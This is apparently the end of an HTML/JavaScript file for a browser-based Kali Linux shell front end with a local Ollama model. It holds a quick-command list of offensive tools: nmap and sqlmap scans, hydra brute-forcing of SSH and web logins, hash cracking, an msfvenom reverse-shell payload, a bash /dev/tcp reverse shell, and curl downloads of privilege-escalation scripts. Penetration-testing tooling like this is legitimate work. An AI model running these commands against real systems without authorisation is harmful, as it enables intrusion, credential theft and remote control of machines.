| if(e.name!=='AbortError'){ |
| addShellLine('[error] '+e.message,'s-exit1'); |
| log('Shell error: '+e.message,'error'); |
| }else{ |
| addShellLine('[killed]','s-exit1'); |
| } |
| } |
| |
| shellRunning=false;shellCtrl=null; |
| document.getElementById('run-btn').disabled=false; |
| document.getElementById('kill-btn').classList.remove('show'); |
| inp.focus(); |
| } |
| |
| function killShell(){ |
| if(shellCtrl){shellCtrl.abort();toast('Killed','error');log('Shell killed','warn');} |
| } |
| |
| document.getElementById('shell-in').addEventListener('keydown',e=>{ |
| if(e.key==='Enter'){runShell();return;} |
| if(e.key==='ArrowUp'){e.preventDefault();if(shellHIdx<shellHist.length-1){shellHIdx++;e.target.value=shellHist[shellHIdx]||'';}} |
| if(e.key==='ArrowDown'){e.preventDefault();if(shellHIdx>0){shellHIdx--;e.target.value=shellHist[shellHIdx]||'';}else{shellHIdx=-1;e.target.value='';}} |
| }); |
| |
| |
| const KCMDS={ |
| system:[ |
| {l:'uname -a', c:'uname -a'}, |
| {l:'os-release', c:'cat /etc/os-release'}, |
| {l:'kali version', c:'cat /etc/kali_version 2>/dev/null || lsb_release -a'}, |
| {l:'tools list', c:"dpkg -l | grep -E 'nmap|hydra|sqlmap|metasploit|john|aircrack|nikto|dirb|gobuster|wfuzz' | awk '{print $2, $3}'"}, |
| {l:'df -h', c:'df -h'}, |
| {l:'free -h', c:'free -h'}, |
| {l:'ps top', c:'ps aux --sort=-%cpu | head -20'}, |
| {l:'ip addr', c:'ip addr show'}, |
| {l:'whoami', c:'whoami && id'}, |
| {l:'env', c:'env | sort'}, |
| {l:'nvidia-smi', c:'nvidia-smi'}, |
| {l:'uptime', c:'uptime'}, |
| ], |
| recon:[ |
| {l:'nmap -sV', c:'nmap -sV -sC --open TARGET_IP'}, |
| {l:'nmap full', c:'nmap -p- -T4 TARGET_IP'}, |
| {l:'nmap vuln', c:'nmap --script=vuln TARGET_IP'}, |
| {l:'nmap OS', c:'nmap -O TARGET_IP'}, |
| {l:'dnsrecon', c:'dnsrecon -d TARGET_DOMAIN'}, |
| {l:'dnsenum', c:'dnsenum TARGET_DOMAIN'}, |
| {l:'fierce', c:'fierce --domain TARGET_DOMAIN'}, |
| {l:'theHarvester', c:'theHarvester -d TARGET_DOMAIN -b all'}, |
| {l:'whois', c:'whois TARGET_DOMAIN'}, |
| {l:'dig any', c:'dig TARGET_DOMAIN ANY +noall +answer'}, |
| {l:'amass enum', c:'amass enum -d TARGET_DOMAIN'}, |
| ], |
| web:[ |
| {l:'nikto', c:'nikto -h http://TARGET_IP'}, |
| {l:'gobuster dir', c:'gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt'}, |
| {l:'dirb', c:'dirb http://TARGET_IP /usr/share/wordlists/dirb/common.txt'}, |
| {l:'sqlmap GET', c:"sqlmap -u 'http://TARGET_IP/page?id=1' --dbs --batch"}, |
| {l:'sqlmap POST', c:"sqlmap -u 'http://TARGET_IP/login' --data='user=a&pass=b' --dbs --batch"}, |
| {l:'wfuzz', c:'wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://TARGET_IP/FUZZ'}, |
| {l:'ffuf', c:'ffuf -u http://TARGET_IP/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301'}, |
| {l:'whatweb', c:'whatweb http://TARGET_IP'}, |
| {l:'curl headers', c:'curl -I http://TARGET_IP'}, |
| {l:'wordlists', c:'ls /usr/share/wordlists/'}, |
| ], |
| network:[ |
| {l:'netstat', c:'ss -tulnp'}, |
| {l:'arp scan', c:'arp-scan --localnet'}, |
| {l:'tcpdump', c:'tcpdump -i any -c 20 -n'}, |
| {l:'netdiscover', c:'netdiscover -r 192.168.1.0/24 -P | head -30'}, |
| {l:'masscan', c:'masscan -p1-65535 TARGET_IP --rate=1000'}, |
| {l:'traceroute', c:'traceroute TARGET_IP'}, |
| {l:'nc listen', c:'nc -lvnp 4444'}, |
| {l:'tshark', c:'tshark -i any -c 50'}, |
| {l:'ip route', c:'ip route show'}, |
| ], |
| exploit:[ |
| {l:'msfconsole', c:'msfconsole -q -x "version; exit"'}, |
| {l:'searchsploit', c:'searchsploit apache 2.4'}, |
| {l:'msfvenom shell', c:'msfvenom -p linux/x86/shell_reverse_tcp LHOST=LHOST_IP LPORT=4444 -f elf -o /tmp/shell.elf'}, |
| {l:'suid bins', c:'find / -perm -u=s -type f 2>/dev/null'}, |
| {l:'sudo -l', c:'sudo -l 2>/dev/null'}, |
| {l:'crontab', c:'cat /etc/crontab && ls /etc/cron*'}, |
| {l:'linpeas dl', c:'curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh'}, |
| {l:'pspy dl', c:'curl -L https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -o /tmp/pspy64 && chmod +x /tmp/pspy64'}, |
| {l:'bash revshell', c:'echo "bash -i >& /dev/tcp/LHOST_IP/4444 0>&1"'}, |
| ], |
| password:[ |
| {l:'john', c:'john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash.txt'}, |
| {l:'hashcat md5', c:'hashcat -m 0 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'}, |
| {l:'hashcat ntlm', c:'hashcat -m 1000 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'}, |
| {l:'hydra ssh', c:'hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP'}, |
| {l:'hydra http', c:"hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form 'TARGET_IP/login:user=^USER^&pass=^PASS^:Invalid'"}, |
| {l:'rockyou.txt', c:'ls -lh /usr/share/wordlists/rockyou.txt* && gunzip /usr/share/wordlists/rockyou.txt.gz 2>/dev/null; echo done'}, |
| {l:'identify hash', c:'echo "PASTE_HASH" | hash-identifier 2>/dev/null || hashid PASTE_HASH'}, |
| {l:'crunch', c:'crunch 8 8 abcdef0123456789 -o /tmp/custom.txt'}, |
| ], |
| forensics:[ |
| {l:'file check', c:'file /tmp/*'}, |
| {l:'strings', c:'strings /tmp/TARGET_FILE | head -50'}, |
| {l:'xxd', c:'xxd /tmp/TARGET_FILE | head -30'}, |
| {l:'binwalk', c:'binwalk /tmp/TARGET_FILE'}, |
| {l:'binwalk extract', c:'binwalk -e /tmp/TARGET_FILE'}, |
| {l:'exiftool', c:'exiftool /tmp/TARGET_FILE'}, |
| {l:'steghide', c:'steghide info /tmp/TARGET_FILE'}, |
| {l:'foremost', c:'foremost -i /tmp/TARGET_FILE -o /tmp/out'}, |
| {l:'tcpdump read', c:'tcpdump -r /tmp/TARGET.pcap | head -30'}, |
| {l:'dmesg', c:'dmesg | tail -30'}, |
| ], |
| ollama:[ |
| {l:'list models', c:'ollama list'}, |
| {l:'ollama ps', c:'ollama ps'}, |
| {l:'ollama version', c:'ollama version'}, |
| {l:'api health', c:'curl -s http://localhost:11434/ && echo'}, |
| {l:'api tags', c:'curl -s http://localhost:11434/api/tags | python3 -m json.tool'}, |
| {l:'disk usage', c:'du -sh ~/.ollama/models/ 2>/dev/null'}, |
| {l:'gpu info', c:'nvidia-smi 2>/dev/null || echo "No GPU"'}, |
| {l:'pull tinyllama', c:'ollama pull tinyllama'}, |
| {l:'pull phi3', c:'ollama pull phi3'}, |
| {l:'run hydra-ai', c:'ollama run hydra-ai "Who are you?"'}, |
| ], |
| }; |
| |
| function switchCat(btn,cat){ |
| document.querySelectorAll('.cat-btn').forEach(b=>b.classList.remove('active')); |
| btn.classList.add('active'); |
| renderQcmds(cat); |
| } |
| function renderQcmds(cat){ |
| const cmds=KCMDS[cat]||[]; |
| document.getElementById('qcmds').innerHTML= |
| cmds.map(c=>`<span class="qc" title="${c.c}" onclick="setCmd(${JSON.stringify(c.c)})">${c.l}</span>`).join(''); |
| } |
| |
| |
| checkStatus(); |
| setInterval(checkStatus,30000); |
| renderQcmds('system'); |
| </script> |
| </body> |
| </html> |
